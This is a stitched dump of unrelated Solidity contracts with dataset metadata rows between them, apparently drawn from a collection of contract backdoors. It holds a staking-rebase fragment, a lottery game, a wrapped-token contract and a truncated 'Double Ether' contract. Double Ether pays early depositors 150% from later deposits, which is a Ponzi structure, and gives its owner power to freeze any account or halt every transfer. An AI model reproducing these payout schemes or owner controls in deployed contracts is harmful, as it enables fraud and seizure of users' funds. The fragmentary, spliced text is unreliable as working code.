if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 79,966 | 14,080 |
cf07b8f4ad9d43af4d9357a0ff98726e7c162da6450652a71d80efcbdc11ec5c
| 16,956 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x89f3cb45248484282c2827fbde89813af41b9582.sol
| 4,030 | 16,191 |
pragma solidity 0.5.6;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
modifier onlyManager() {
require(listOfManagers[msg.sender], "");
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {
if (!listOfManagers[_manager]) {
require(_manager != address(0), "");
listOfManagers[_manager] = true;
success = true;
}
}
function removeManager(address _manager) public onlyOwner returns (bool success) {
if (listOfManagers[_manager]) {
listOfManagers[_manager] = false;
success = true;
}
}
function getInfo(address _manager) public view returns (bool) {
return listOfManagers[_manager];
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, ""); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "");
return a % b;
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract iRNG {
function update(uint roundNumber, uint additionalNonce, uint period) public payable;
}
contract BaseGame is Manageable {
using SafeMath for uint;
enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND}
struct Round {
RoundState state;
uint ticketsCount;
uint participantCount;
TicketsInterval[] tickets;
address[] participants;
uint random;
uint nonce; //xored participants addresses
uint startRoundTime;
uint[] winningTickets;
address[] winners;
uint roundFunds;
mapping(address => uint) winnersFunds;
mapping(address => uint) participantFunds;
mapping(address => bool) sendGain;
}
struct TicketsInterval {
address participant;
uint firstTicket;
uint lastTicket;
}
uint constant public NUMBER_OF_WINNERS = 10;
uint constant public SHARE_DENOMINATOR = 10000;
uint constant public ORACLIZE_TIMEOUT = 86400; // one day
uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10];
address payable public organiser;
uint constant public ORGANISER_PERCENT = 20;
uint constant public ROUND_FUND_PERCENT = 80;
uint public period;
address public hourlyGame;
address public management;
address payable public rng;
mapping (uint => Round) public rounds;
uint public ticketPrice;
uint public currentRound;
event GameStarted(uint start);
event RoundStateChanged(uint currentRound, RoundState state);
event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds);
event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds);
event RefundIsSuccess(uint round, address participant, uint funds);
event RefundIsFailed(uint round, address participant);
event Withdraw(address participant, uint funds, uint fromRound, uint toRound);
event TicketPriceChanged(uint price);
modifier onlyRng {
require(msg.sender == address(rng), "");
_;
}
modifier onlyGameContract {
require(msg.sender == address(hourlyGame) || msg.sender == management, "");
_;
}
constructor (address payable _rng, uint _period) public {
require(_rng != address(0), "");
require(_period >= 60, "");
rng = _rng;
period = _period;
}
function setContracts(address payable _rng, address _hourlyGame, address _management) public onlyOwner {
require(_rng != address(0), "");
require(_hourlyGame != address(0), "");
require(_management != address(0), "");
rng = _rng;
hourlyGame = _hourlyGame;
management = _management;
}
function startGame(uint _startPeriod) public payable onlyGameContract {
currentRound = 1;
uint time = getCurrentTime().add(_startPeriod).sub(period);
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod);
emit GameStarted(time);
}
function buyTickets(address _participant) public payable onlyGameContract {
uint funds = msg.value;
updateRoundTimeAndState();
addParticipant(_participant, funds.div(ticketPrice));
updateRoundFundsAndParticipants(_participant, funds);
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartGame();
}
}
function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyGameContract {
updateRoundTimeAndState();
addParticipant(_participant, _ticketsCount);
updateRoundFundsAndParticipants(_participant, uint(0));
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartGame();
}
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
if (rounds[_round].winners.length != 0) {
return true;
}
if (checkRoundState(_round) == RoundState.REFUND) {
return true;
}
if (rounds[_round].participantCount < 10) {
rounds[_round].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
rounds[_round].random = _randomNumber;
findWinTickets(_round);
findWinners(_round);
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) {
currentRound = _round.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
getRandomNumber(_round + 1, rounds[_round].nonce);
return true;
}
function restartGame() public payable onlyOwner {
_restartGame();
}
function getRandomNumber(uint _round, uint _nonce) public payable onlyRng {
iRNG(rng).update(_round, _nonce, period);
}
function setTicketPrice(uint _ticketPrice) public onlyGameContract {
require(_ticketPrice > 0, "");
emit TicketPriceChanged(_ticketPrice);
ticketPrice = _ticketPrice;
}
function findWinTickets(uint _round) public {
uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount);
for (uint i = 0; i < 10; i++) {
rounds[_round].winningTickets.push(winners[i]);
}
}
function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) {
uint random = _random;//uint(keccak256(abi.encodePacked(_random)));
uint winnersNum = 10;
uint[10] memory winTickets;
uint shift = uint(256).div(winnersNum);
for (uint i = 0; i < 10; i++) {
winTickets[i] =
uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum);
}
return winTickets;
}
function refund(uint _round) public {
if (checkRoundState(_round) == RoundState.REFUND
&& rounds[_round].participantFunds[msg.sender] > 0) {
uint amount = rounds[_round].participantFunds[msg.sender];
rounds[_round].participantFunds[msg.sender] = 0;
address(msg.sender).transfer(amount);
emit RefundIsSuccess(_round, msg.sender, amount);
} else {
emit RefundIsFailed(_round, msg.sender);
}
}
function checkRoundState(uint _round) public returns (RoundState) {
if (rounds[_round].state == RoundState.WAIT_RESULT
&& getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) {
rounds[_round].state = RoundState.REFUND;
emit RoundStateChanged(_round, rounds[_round].state);
}
return rounds[_round].state;
}
function setOrganiser(address payable _organiser) public onlyOwner {
require(_organiser != address(0), "");
organiser = _organiser;
}
function getGain(uint _fromRound, uint _toRound) public {
_transferGain(msg.sender, _fromRound, _toRound);
}
function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager {
_transferGain(_participant, _fromRound, _toRound);
}
function getTicketsCount(uint _round) public view returns (uint) {
return rounds[_round].ticketsCount;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
function getCurrentTime() public view returns (uint) {
return now;
}
function getPeriod() public view returns (uint) {
return period;
}
function getRoundWinners(uint _round) public view returns (address[] memory) {
return rounds[_round].winners;
}
function getRoundWinningTickets(uint _round) public view returns (uint[] memory) {
return rounds[_round].winningTickets;
}
function getRoundParticipants(uint _round) public view returns (address[] memory) {
return rounds[_round].participants;
}
function getWinningFunds(uint _round, address _winner) public view returns (uint) {
return rounds[_round].winnersFunds[_winner];
}
function getRoundFunds(uint _round) public view returns (uint) {
return rounds[_round].roundFunds;
}
function getParticipantFunds(uint _round, address _participant) public view returns (uint) {
return rounds[_round].participantFunds[_participant];
}
function getCurrentRound() public view returns (uint) {
return currentRound;
}
function getRoundStartTime(uint _round) public view returns (uint) {
return rounds[_round].startRoundTime;
}
function _restartGame() internal {
uint _now = getCurrentTime().sub(rounds[1].startRoundTime);
rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period));
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period)));
}
function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal {
require(_fromRound <= _toRound, "");
require(_participant != address(0), "");
uint funds;
for (uint i = _fromRound; i <= _toRound; i++) {
if (rounds[i].state == RoundState.SUCCESS
&& rounds[i].sendGain[_participant] == false) {
rounds[i].sendGain[_participant] = true;
funds = funds.add(getWinningFunds(i, _participant));
}
}
require(funds > 0, "");
_participant.transfer(funds);
emit Withdraw(_participant, funds, _fromRound, _toRound);
}
// find participant who has winning ticket
// to start: _begin is 0, _end is last index in ticketsInterval array
function getWinner(uint _round,
uint _beginInterval,
uint _endInterval,
uint _winningTicket)
internal
returns (address)
{
if (_beginInterval == _endInterval) {
return rounds[_round].tickets[_beginInterval].participant;
}
uint len = _endInterval.add(1).sub(_beginInterval);
uint mid = _beginInterval.add((len.div(2))).sub(1);
TicketsInterval memory interval = rounds[_round].tickets[mid];
if (_winningTicket < interval.firstTicket) {
return getWinner(_round, _beginInterval, mid, _winningTicket);
} else if (_winningTicket > interval.lastTicket) {
return getWinner(_round, mid.add(1), _endInterval, _winningTicket);
} else {
return interval.participant;
}
}
function addParticipant(address _participant, uint _ticketsCount) internal {
rounds[currentRound].participants.push(_participant);
uint currTicketsCount = rounds[currentRound].ticketsCount;
rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount);
rounds[currentRound].tickets.push(TicketsInterval(_participant,
currTicketsCount,
rounds[currentRound].ticketsCount.sub(1)));
rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant)));
emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice));
}
function updateRoundTimeAndState() internal {
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period)
&& rounds[currentRound].participantCount >= 10) {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
}
function updateRoundFundsAndParticipants(address _participant, uint _funds) internal {
if (rounds[currentRound].participantFunds[_participant] == 0) {
rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1);
}
rounds[currentRound].participantFunds[_participant] =
rounds[currentRound].participantFunds[_participant].add(_funds);
rounds[currentRound].roundFunds =
rounds[currentRound].roundFunds.add(_funds);
}
function findWinners(uint _round) internal {
address winner;
uint fundsToWinner;
for (uint i = 0; i < NUMBER_OF_WINNERS; i++) {
winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[i]);
rounds[_round].winners.push(winner);
fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR);
rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner);
}
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
contract DailyGame is BaseGame {
constructor(address payable _rng,
uint _period)
public
BaseGame(_rng, _period)
{
}
}
// Developer @gogol
// Design @chechenets
// Architect @tugush
| 144,326 | 14,081 |
b272dd8f7fd4302976aa605b36cb0a192070d8904d76b4861e34de650bba74c6
| 30,359 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/91/910e623Af71b6927E47E001e45a38f04F942bf32_wsKLIMA.sol
| 3,248 | 12,617 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsKLIMA {
function index() external view returns (uint);
}
contract wsKLIMA is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sKLIMA;
constructor(address _sKLIMA) ERC20('Wrapped sKLIMA', 'wsKLIMA') {
require(_sKLIMA != address(0));
sKLIMA = _sKLIMA;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sKLIMA).transferFrom(msg.sender, address(this), _amount);
uint value = sKLIMATowKLIMA(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wKLIMATosKLIMA(_amount);
IERC20(sKLIMA).transfer(msg.sender, value);
return value;
}
function wKLIMATosKLIMA(uint _amount) public view returns (uint) {
return _amount.mul(IsKLIMA(sKLIMA).index()).div(10 ** decimals());
}
function sKLIMATowKLIMA(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsKLIMA(sKLIMA).index());
}
}
| 61,212 | 14,082 |
2006694719413f3c21e5766e7124734d7c943afeabd14e50582205c262f456d7
| 22,390 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9d1cbf4ef833340120e721e5028c326ec1066c7e.sol
| 3,179 | 14,329 |
pragma solidity 0.5.1;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address payable public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
//
//------------------ ERC20 Standard Template -------------------//
//
contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 1 ether; // Update total supply with the decimal amount
uint256 halfTotalSupply = totalSupply / 2; // Half of the totalSupply
balanceOf[msg.sender] = halfTotalSupply; // 50 Million tokens sent to owner
balanceOf[address(this)] = halfTotalSupply; // 50 Million tokens sent to smart contract
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
emit Transfer(address(0x0), msg.sender, halfTotalSupply); // Transfer event
emit Transfer(address(0x0), address(this), halfTotalSupply);// Transfer event
}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
//
//--------------------- DOUBLE ETHER MAIN CODE STARTS HERE ---------------------//
//
contract DoubleEther is owned, TokenERC20 {
string internal tokenName = "Double Ether";
string internal tokenSymbol = "DET";
uint256 internal initialSupply = 100000000; //100 Million
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor () TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
uint256 public returnPercentage = 150; // 150% return, which is 1.5 times the amount deposited
uint256 public additionalFund = 0;
address payable[] public winnerQueueAddresses;
uint256[] public winnerQueueAmount;
// This will log for all the deposits made by users
event Deposit(address indexed depositor, uint256 depositAmount);
// This will log for any ether paid to users
event RewardPaid(address indexed rewardPayee, uint256 rewardAmount);
function showPeopleInQueue() public view returns(uint256) {
return winnerQueueAmount.length;
}
//@dev fallback function, which accepts ether
function () payable external {
require(!safeguard);
require(!frozenAccount[msg.sender]);
require(msg.value >= 0.5 ether);
uint256 _depositedEther;
if(msg.value >= 3 ether){
_depositedEther = 3 ether;
additionalFund += msg.value - 3 ether;
}
else{
_depositedEther = msg.value;
}
//following loop will send reward to one or more addresses
uint256 TotalPeopleInQueue = winnerQueueAmount.length;
for(uint256 index = 0; index < TotalPeopleInQueue; index++){
if(winnerQueueAmount[0] <= (address(this).balance - additionalFund)){
//transfer the ether and token to leader / first position
winnerQueueAddresses[0].transfer(winnerQueueAmount[0]);
_transfer(address(this), winnerQueueAddresses[0], winnerQueueAmount[0]*100/returnPercentage);
//this will shift one index up in both arrays, removing the person who is paid
for (uint256 i = 0; i<winnerQueueAmount.length-1; i++){
winnerQueueAmount[i] = winnerQueueAmount[i+1];
winnerQueueAddresses[i] = winnerQueueAddresses[i+1];
}
winnerQueueAmount.length--;
winnerQueueAddresses.length--;
}
else{
//because there is not enough ether in contract to pay for leader, so break.
break;
}
}
//Putting depositor in the queue
winnerQueueAddresses.push(msg.sender);
